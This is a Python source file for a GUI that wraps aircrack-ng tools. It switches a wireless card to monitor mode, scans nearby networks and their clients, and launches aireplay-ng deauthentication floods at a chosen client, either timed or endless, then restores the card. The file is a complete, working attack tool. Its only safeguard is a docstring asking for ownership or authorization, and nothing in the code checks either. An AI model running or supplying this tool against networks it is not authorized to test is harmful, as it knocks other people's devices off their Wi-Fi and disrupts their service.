wifi-deauth-test/wifi_deauth.py
2026-09-03 08:35:20 +04:00

619 lines
22 KiB
Python

#!/usr/bin/env python3
"""
Guided WiFi deauth test tool — for a network you own or are authorized to test.
Flow: pick card -> monitor mode (saves state) -> scan networks -> pick one
-> scan its clients -> pick one -> deauth (30s countdown | infinite)
-> "Stop & Reset card" restores everything.
Requires: Linux, root, and the aircrack-ng suite + iw + iproute2:
sudo apt install aircrack-ng iw iproute2
Run: sudo python3 wifi_deauth.py
Selftest: python3 wifi_deauth.py --selftest
This is a front-end for airmon-ng / airodump-ng / aireplay-ng. wifite2 and
airgeddon do the same job if you just want the result.
"""
import glob
import os
import re
import shutil
import subprocess
import sys
import tempfile
import threading
import time
try:
import tkinter as tk
from tkinter import messagebox, ttk
except ModuleNotFoundError: # GUI deps absent; --selftest still runs
tk = messagebox = ttk = None
SCAN_NET_SECS = 10
SCAN_CLIENT_SECS = 15
DEAUTH_TIMED_SECS = 30
MAC_RE = r"^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$"
# --- child process registry (so "Stop & Reset" can kill mid-scan/mid-deauth) ---
_procs = set()
def _spawn(cmd, **kw):
p = subprocess.Popen(cmd, **kw)
_procs.add(p)
return p
def _reap(p):
_procs.discard(p)
def kill_all_children():
for p in list(_procs):
try:
if p.poll() is None:
p.terminate()
except Exception:
pass
time.sleep(0.5)
for p in list(_procs):
try:
if p.poll() is None:
p.kill()
except Exception:
pass
_procs.discard(p)
def run(cmd, timeout=30):
return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
# --------------------------- interface discovery ------------------------------
def list_wifi_interfaces():
"""[{iface, phy, type, addr, monitor_capable}] from `iw dev`."""
try:
out = run(["iw", "dev"]).stdout
except Exception:
return []
ifaces, cur_phy, cur = [], None, None
for line in out.splitlines():
m = re.match(r"phy#(\d+)", line)
if m:
cur_phy = "phy" + m.group(1)
m = re.match(r"\s+Interface (\S+)", line)
if m:
if cur:
ifaces.append(cur)
cur = {"iface": m.group(1), "phy": cur_phy, "type": "?", "addr": "?"}
m = re.match(r"\s+addr (\S+)", line)
if m and cur:
cur["addr"] = m.group(1)
m = re.match(r"\s+type (\S+)", line)
if m and cur:
cur["type"] = m.group(1)
if cur:
ifaces.append(cur)
for it in ifaces:
it["monitor_capable"] = _phy_has_monitor(it["phy"])
return ifaces
def _phy_has_monitor(phy):
if not phy:
return False
out = run(["iw", phy, "info"]).stdout
grab = False
for line in out.splitlines():
if "Supported interface modes:" in line:
grab = True
continue
if grab:
if re.match(r"\s+\*", line):
if "monitor" in line:
return True
else:
break
return False
# ------------------------------ card state ----------------------------------
class CardState:
def __init__(self, iface):
self.orig_iface = iface["iface"]
self.orig_addr = iface["addr"]
self.nm_was_active = (
run(["systemctl", "is-active", "NetworkManager"]).stdout.strip() == "active"
)
self.mon_iface = None
self.used_airmon = False
def enable_monitor(state):
run(["airmon-ng", "check", "kill"])
before = {i["iface"] for i in list_wifi_interfaces()}
res = run(["airmon-ng", "start", state.orig_iface])
state.used_airmon = True
time.sleep(1)
after = list_wifi_interfaces()
new = {i["iface"] for i in after} - before
if new:
state.mon_iface = new.pop()
else:
m = re.search(r"enabled (?:for \[[^\]]+\]\S+ )?on (?:\[[^\]]+\])?(\S+?)\)", res.stdout)
if m:
state.mon_iface = m.group(1)
else:
for i in after:
if i["iface"] == state.orig_iface and i["type"] == "monitor":
state.mon_iface = state.orig_iface
if not state.mon_iface:
raise RuntimeError("Could not determine monitor interface:\n" + res.stdout + res.stderr)
return state.mon_iface
def reset_card(state):
if not state:
return
kill_all_children()
if state.mon_iface and state.used_airmon:
run(["airmon-ng", "stop", state.mon_iface])
names = {i["iface"]: i for i in list_wifi_interfaces()}
if state.orig_iface not in names and state.mon_iface in names:
run(["iw", state.mon_iface, "set", "type", "managed"])
run(["ip", "link", "set", state.mon_iface, "name", state.orig_iface])
names = {i["iface"]: i for i in list_wifi_interfaces()}
it = names.get(state.orig_iface)
if it and state.orig_addr not in ("?", None) and it["addr"].lower() != state.orig_addr.lower():
run(["ip", "link", "set", state.orig_iface, "down"])
run(["ip", "link", "set", state.orig_iface, "address", state.orig_addr])
run(["ip", "link", "set", state.orig_iface, "up"])
if state.nm_was_active:
run(["systemctl", "start", "NetworkManager"])
# ------------------------------ scanning -----------------------------------
def airodump_scan(mon_iface, secs, bssid=None, channel=None):
tmpdir = tempfile.mkdtemp(prefix="wifiscan_")
prefix = os.path.join(tmpdir, "dump")
cmd = ["airodump-ng", "-w", prefix, "--output-format", "csv", "--write-interval", "1"]
if bssid:
cmd += ["--bssid", bssid]
if channel:
cmd += ["-c", str(channel)]
cmd += [mon_iface]
p = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# fixed scan duration is a naive heuristic; longer = more results.
t0 = time.time()
while time.time() - t0 < secs and p.poll() is None:
time.sleep(0.3)
p.terminate()
try:
p.wait(timeout=5)
except subprocess.TimeoutExpired:
p.kill()
_reap(p)
csvs = sorted(glob.glob(prefix + "*.csv"))
aps, stations = ([], [])
if csvs:
aps, stations = parse_airodump_csv(csvs[-1])
shutil.rmtree(tmpdir, ignore_errors=True)
return aps, stations
def parse_airodump_csv(path):
try:
with open(path, encoding="utf-8", errors="replace") as f:
text = f.read()
except OSError:
return [], []
aps, stations, section = [], [], None
for line in text.splitlines():
s = line.strip()
if not s:
continue
if s.startswith("BSSID,"):
section = "ap"
continue
if s.startswith("Station MAC,"):
section = "sta"
continue
# naive comma split; an ESSID containing a comma will skew fields.
parts = [c.strip() for c in line.split(",")]
if section == "ap" and len(parts) >= 14:
aps.append({
"bssid": parts[0], "channel": parts[3], "power": parts[8],
"privacy": parts[5], "essid": parts[13],
})
elif section == "sta" and len(parts) >= 6:
stations.append({
"station": parts[0], "power": parts[3],
"packets": parts[4], "bssid": parts[5],
})
return aps, stations
# ------------------------------ deauth -------------------------------------
class Deauth:
def __init__(self):
self.proc = None
def start(self, mon_iface, bssid, client):
cmd = ["aireplay-ng", "--deauth", "0", "-a", bssid, "-c", client, mon_iface]
self.proc = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def stop(self):
p = self.proc
if p and p.poll() is None:
p.terminate()
try:
p.wait(timeout=5)
except subprocess.TimeoutExpired:
p.kill()
if p:
_reap(p)
self.proc = None
def running(self):
return self.proc is not None and self.proc.poll() is None
# ------------------------------- GUI --------------------------------------
class App(tk.Tk if tk is not None else object):
def __init__(self):
super().__init__()
self.title("WiFi Deauth Test — own network")
self.geometry("660x480")
self.ctx = {}
self.state_obj = None
self.deauth = Deauth()
self.busy = False
self.countdown_after = None
self.body = tk.Frame(self)
self.body.pack(fill="both", expand=True, padx=12, pady=12)
bar = tk.Frame(self)
bar.pack(fill="x", side="bottom")
self.status = tk.Label(bar, text="", anchor="w", fg="#555")
self.status.pack(side="left", padx=12, pady=6)
self.reset_btn = tk.Button(bar, text="Stop & Reset card",
command=self.on_reset, state="disabled")
self.reset_btn.pack(side="right", padx=12, pady=6)
self.protocol("WM_DELETE_WINDOW", self.on_close)
self.screen_select_card()
# -- infra --
def clear(self):
for w in self.body.winfo_children():
w.destroy()
def set_status(self, txt):
self.status.config(text=txt)
def run_bg(self, fn, on_done, status="Working…", force=False):
if self.busy and not force:
return
self.busy = True
self.set_status(status)
def worker():
try:
res, err = fn(), None
except Exception as e: # noqa: BLE001 - surfaced in a dialog
res, err = None, e
self.after(0, lambda: self._bg_done(on_done, res, err))
threading.Thread(target=worker, daemon=True).start()
def _bg_done(self, on_done, res, err):
self.busy = False
self.set_status("")
if err:
messagebox.showerror("Error", str(err))
return
try:
on_done(res)
except tk.TclError:
pass # screen changed while a scan was in flight
def _table(self, cols, widths, height=9):
tv = ttk.Treeview(self.body, columns=cols, show="headings", height=height)
for c, w in zip(cols, widths):
tv.heading(c, text=c)
tv.column(c, width=w)
tv.pack(fill="both", expand=True, pady=8)
return tv
# -- screen 1: pick card --
def screen_select_card(self):
self.clear()
tk.Label(self.body, text="1. Select WiFi card",
font=("", 13, "bold")).pack(anchor="w")
tv = self._table(("iface", "type", "addr", "monitor"), (120, 90, 170, 110), 8)
self._card_rows = {}
for it in list_wifi_interfaces():
iid = tv.insert("", "end", values=(
it["iface"], it["type"], it["addr"],
"yes" if it["monitor_capable"] else "no"))
self._card_rows[iid] = it
btns = tk.Frame(self.body)
btns.pack(fill="x")
tk.Button(btns, text="Rescan", command=self.screen_select_card).pack(side="left")
nxt = tk.Button(btns, text="Next →", state="disabled",
command=lambda: self._card_next(tv))
nxt.pack(side="right")
def on_sel(_):
sel = tv.selection()
ok = bool(sel) and self._card_rows[sel[0]]["monitor_capable"]
nxt.config(state="normal" if ok else "disabled")
tv.bind("<<TreeviewSelect>>", on_sel)
def _card_next(self, tv):
it = self._card_rows[tv.selection()[0]]
if not messagebox.askyesno(
"Confirm",
f"Put {it['iface']} into monitor mode?\n\n"
"This disconnects you from WiFi and stops NetworkManager.\n"
"Use 'Stop & Reset card' to undo."):
return
self.ctx["card"] = it
self.state_obj = CardState(it)
self.reset_btn.config(state="normal") # enable now: check-kill already ran
self.run_bg(lambda: enable_monitor(self.state_obj), self._after_monitor,
status=f"Enabling monitor mode on {it['iface']}…")
def _after_monitor(self, mon_iface):
self.ctx["mon"] = mon_iface
self.screen_scan_networks()
# -- screen 3: scan networks --
def screen_scan_networks(self):
self.clear()
tk.Label(self.body, text="3. Scan networks",
font=("", 13, "bold")).pack(anchor="w")
tk.Label(self.body, text=f"Monitor interface: {self.ctx['mon']}",
fg="#555").pack(anchor="w")
tv = self._table(("essid", "bssid", "ch", "pwr", "enc"),
(210, 150, 45, 50, 90))
self._net_rows = {}
btns = tk.Frame(self.body)
btns.pack(fill="x")
scan_btn = tk.Button(btns, text=f"Scan ({SCAN_NET_SECS}s)")
scan_btn.pack(side="left")
nxt = tk.Button(btns, text="Next →", state="disabled")
nxt.pack(side="right")
def do_scan():
self.run_bg(lambda: airodump_scan(self.ctx["mon"], SCAN_NET_SECS),
fill, status=f"Scanning networks ({SCAN_NET_SECS}s)…")
def fill(result):
aps, _ = result
tv.delete(*tv.get_children())
self._net_rows.clear()
for ap in aps:
if not re.match(MAC_RE, ap["bssid"] or ""):
continue
iid = tv.insert("", "end", values=(
ap["essid"], ap["bssid"], ap["channel"], ap["power"], ap["privacy"]))
self._net_rows[iid] = ap
if not self._net_rows:
messagebox.showinfo("Scan", "No networks found. Try again / move closer.")
def go_next():
self.ctx["net"] = self._net_rows[tv.selection()[0]]
self.screen_scan_clients()
scan_btn.config(command=do_scan)
tv.bind("<<TreeviewSelect>>",
lambda _: nxt.config(state="normal" if tv.selection() else "disabled"))
nxt.config(command=go_next)
do_scan()
# -- screen 4: scan clients --
def screen_scan_clients(self):
self.clear()
net = self.ctx["net"]
tk.Label(self.body, text="4. Scan clients",
font=("", 13, "bold")).pack(anchor="w")
tk.Label(self.body,
text=f"{net['essid']} · {net['bssid']} · ch {net['channel']}",
fg="#555").pack(anchor="w")
tv = self._table(("station", "pwr", "packets"), (210, 60, 80))
self._cli_rows = {}
ch_raw = str(net["channel"]).strip()
ch = ch_raw if ch_raw.lstrip("-").isdigit() and int(ch_raw) > 0 else None
btns = tk.Frame(self.body)
btns.pack(fill="x")
scan_btn = tk.Button(btns, text=f"Scan ({SCAN_CLIENT_SECS}s)")
scan_btn.pack(side="left")
tk.Button(btns, text="← Networks",
command=self.screen_scan_networks).pack(side="left", padx=6)
nxt = tk.Button(btns, text="Next →", state="disabled")
nxt.pack(side="right")
def do_scan():
self.run_bg(
lambda: airodump_scan(self.ctx["mon"], SCAN_CLIENT_SECS,
bssid=net["bssid"], channel=ch),
fill, status=f"Scanning clients ({SCAN_CLIENT_SECS}s)…")
def fill(result):
_, stations = result
tv.delete(*tv.get_children())
self._cli_rows.clear()
for st in stations:
if st["bssid"].lower() != net["bssid"].lower():
continue
if not re.match(MAC_RE, st["station"] or ""):
continue
iid = tv.insert("", "end", values=(
st["station"], st["power"], st["packets"]))
self._cli_rows[iid] = st
if not self._cli_rows:
messagebox.showinfo("Scan", "No clients seen — they may be idle. Try again.")
def go_next():
self.ctx["client"] = self._cli_rows[tv.selection()[0]]
self.screen_deauth()
scan_btn.config(command=do_scan)
tv.bind("<<TreeviewSelect>>",
lambda _: nxt.config(state="normal" if tv.selection() else "disabled"))
nxt.config(command=go_next)
do_scan()
# -- screen 5: deauth --
def screen_deauth(self):
self.clear()
net, client = self.ctx["net"], self.ctx["client"]
tk.Label(self.body, text="5. Deauth", font=("", 13, "bold")).pack(anchor="w")
tk.Label(self.body, text=f"Network : {net['essid']} ({net['bssid']})").pack(
anchor="w", pady=(8, 0))
tk.Label(self.body, text=f"Client : {client['station']}").pack(anchor="w")
self.mode_var = tk.StringVar(value="timed")
f = tk.Frame(self.body)
f.pack(anchor="w", pady=12)
tk.Radiobutton(f, text=f"{DEAUTH_TIMED_SECS} seconds (countdown)",
variable=self.mode_var, value="timed").pack(anchor="w")
tk.Radiobutton(f, text="Infinite (until you click Stop)",
variable=self.mode_var, value="inf").pack(anchor="w")
self.deauth_status = tk.Label(self.body, text="Idle.", font=("", 12))
self.deauth_status.pack(anchor="w", pady=8)
bf = tk.Frame(self.body)
bf.pack(anchor="w", pady=8)
self.start_btn = tk.Button(bf, text="Start deauth",
command=self.start_deauth, width=14)
self.start_btn.pack(side="left")
self.stop_btn = tk.Button(bf, text="Stop deauth", command=self.stop_deauth,
width=14, state="disabled")
self.stop_btn.pack(side="left", padx=8)
tk.Button(bf, text="← Clients",
command=lambda: (self.stop_deauth(), self.screen_scan_clients())
).pack(side="left", padx=8)
def start_deauth(self):
net, client = self.ctx["net"], self.ctx["client"]
self.deauth.start(self.ctx["mon"], net["bssid"], client["station"])
self.start_btn.config(state="disabled")
self.stop_btn.config(state="normal")
if self.mode_var.get() == "timed":
self._remaining = DEAUTH_TIMED_SECS
self._tick()
else:
self.deauth_status.config(text="Deauthing… (infinite) — click Stop to end.")
def _tick(self):
if not self.deauth.running():
self.stop_deauth()
return
if self._remaining <= 0:
self.deauth_status.config(text=f"Done ({DEAUTH_TIMED_SECS}s).")
self.stop_deauth()
return
self.deauth_status.config(text=f"Deauthing… {self._remaining}s left")
self._remaining -= 1
self.countdown_after = self.after(1000, self._tick)
def stop_deauth(self):
if self.countdown_after:
self.after_cancel(self.countdown_after)
self.countdown_after = None
self.deauth.stop()
if hasattr(self, "start_btn") and self.start_btn.winfo_exists():
self.start_btn.config(state="normal")
self.stop_btn.config(state="disabled")
if "Done" not in self.deauth_status.cget("text"):
self.deauth_status.config(text="Stopped.")
# -- reset / quit --
def on_reset(self):
self.stop_deauth()
kill_all_children()
self.reset_btn.config(state="disabled")
self.busy = False
self.run_bg(lambda: reset_card(self.state_obj), self._after_reset,
status="Resetting card…", force=True)
def _after_reset(self, _):
self.state_obj = None
self.ctx.clear()
messagebox.showinfo("Reset", "Card restored. NetworkManager restarted.")
self.screen_select_card()
def on_close(self):
if self.state_obj:
if not messagebox.askyesno("Quit", "Reset card and quit?"):
return
self.stop_deauth()
try:
reset_card(self.state_obj)
except Exception:
pass
self.destroy()
# ------------------------------ entrypoint --------------------------------
def preflight():
if tk is None:
return "Missing Tkinter. Install: sudo apt install python3-tk"
if hasattr(os, "geteuid") and os.geteuid() != 0:
return f"Run as root: sudo python3 {os.path.basename(__file__)}"
missing = [b for b in ("iw", "ip", "airmon-ng", "airodump-ng", "aireplay-ng")
if not shutil.which(b)]
if missing:
return ("Missing commands: " + ", ".join(missing)
+ "\nInstall: sudo apt install aircrack-ng iw iproute2")
return None
def _selftest():
sample = (
"BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, "
"Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n"
"\r\n"
"AA:BB:CC:DD:EE:FF, 2024-01-01 00:00:00, 2024-01-01 00:01:00, 6, 130, "
"WPA2, CCMP, PSK, -40, 10, 0, 0.0.0.0, 6, MyWiFi, \r\n"
"\r\n"
"Station MAC, First time seen, Last time seen, Power, # packets, BSSID, "
"Probed ESSIDs\r\n"
"\r\n"
"11:22:33:44:55:66, 2024-01-01 00:00:10, 2024-01-01 00:01:00, -50, 25, "
"AA:BB:CC:DD:EE:FF, MyWiFi\r\n"
"99:88:77:66:55:44, 2024-01-01 00:00:10, 2024-01-01 00:01:00, -60, 5, "
"(not associated), Other\r\n"
)
p = os.path.join(tempfile.gettempdir(), "wd_selftest.csv")
with open(p, "w") as f:
f.write(sample)
aps, sts = parse_airodump_csv(p)
os.remove(p)
assert len(aps) == 1, aps
assert aps[0]["essid"] == "MyWiFi" and aps[0]["channel"] == "6", aps
assert len(sts) == 2, sts
assoc = [s for s in sts if s["bssid"].lower() == "aa:bb:cc:dd:ee:ff"]
assert len(assoc) == 1 and assoc[0]["station"] == "11:22:33:44:55:66", sts
print("selftest ok")
if __name__ == "__main__":
if "--selftest" in sys.argv:
_selftest()
sys.exit(0)
err = preflight()
if err:
print(err, file=sys.stderr)
sys.exit(1)
App().mainloop()